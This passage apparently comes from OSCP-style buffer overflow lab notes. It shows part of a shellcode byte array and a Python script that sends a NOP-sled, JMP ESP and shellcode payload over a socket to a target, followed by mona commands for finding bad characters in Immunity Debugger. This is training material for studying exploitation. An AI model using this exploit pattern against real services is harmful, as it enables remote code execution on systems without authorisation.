"\x23\x33\x0b\x3f\x2c\x44\x78\x0d\xf3\xfe\x16\x3d\x7c\xd9\xe1"
"\x42\x57\x9d\x7d\xbd\x58\xde\x54\x7a\x0c\x8e\xce\xab\x2d\x45"
"\x0e\x53\xf8\xca\x5e\xfb\x53\xab\x0e\xbb\x03\x43\x44\x34\x7b"
"\x73\x67\x9e\x14\x1e\x92\x49\x11\xd9\x8e\x18\x4d\xe7\xae\x1a"
"\xbb\x6e\x48\x70\xd3\x26\xc3\xed\x4a\x63\x9f\x8c\x93\xb9\xda"
"\x8f\x18\x4e\x1b\x41\xe9\x3b\x0f\x36\x19\x76\x6d\x91\x26\xac"
"\x19\x7d\xb4\x2b\xd9\x08\xa5\xe3\x8e\x5d\x1b\xfa\x5a\x70\x02"
"\x54\x78\x89\xd2\x9f\x38\x56\x27\x21\xc1\x1b\x13\x05\xd1\xe5"
"\x9c\x01\x85\xb9\xca\xdf\x73\x7c\xa5\x91\x2d\xd6\x1a\x78\xb9"
"\xaf\x50\xbb\xbf\xaf\xbc\x4d\x5f\x01\x69\x08\x60\xae\xfd\x9c"
"\x19\xd2\x9d\x63\xf0\x56\xbd\x81\xd0\xa2\x56\x1c\xb1\x0e\x3b"
"\x9f\x6c\x4c\x42\x1c\x84\x2d\xb1\x3c\xed\x28\xfd\xfa\x1e\x41"
"\x6e\x6f\x20\xf6\x8f\xba")

payload = uname + "\x90" * 2026 + "\xaf\x11\x50\x62" + "\x90" * 20 + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c = s.connect((rhost, rport))
s.send(payload + '\r\n')
s.recv(1024)
s.close()

B.O 5-8, 10

Nothing different to report here same process, same JMP ESP address, same process to find and weed out the proper bad chars.

B.O 9

There was one overlapping bad char that was an actual bad char and not invalid, reassuring the need to check each manually.

Manual Bad Char Fuzzing

Right click on the stack pointer (ESP) and follow the hash dump. We can use mona to list the bad chars by running the commands

!mona config -set workingfolder c:\mona\%p
!mona bytearray
<run the fuzzing script>
!mona compare -f C:\mona\oscp\bytearray.bin -a <ESP>

We can see the bad characters are "\x00\x04\x05\x3e\x3f\xe1\xe2" but not all of these are bad chars.

In the other examples we were able to properly guess that the next byte is the corrupted one, allowing us to easily distinguish the invalid bad chars from the valid bad chars. In this case, there was one adjacent bad character that wasn't the result of an overflow but an actual bad char \x3f. Here we'll determine it the manual way. Following these steps:

  1. Delete all files from c:\mona\oscp

  2. Remove guessed bad chars "\x00\x04\x3e\xe1" from fuzzing script

  3. Reload the executable in immunity debugger

  4. Assume the next byte is still an overflow and create a new bytearray omitting the suspected bad chars listed above

!mona bytearray -b "\x00\x04\x3e\xe1"

Run the fuzzing script

!mona compare -f C:\mona\oscp\bytearray.bin -a <ESP>

We can now see all the valid bad chars, including the one we omitted previously \x3f

Last updated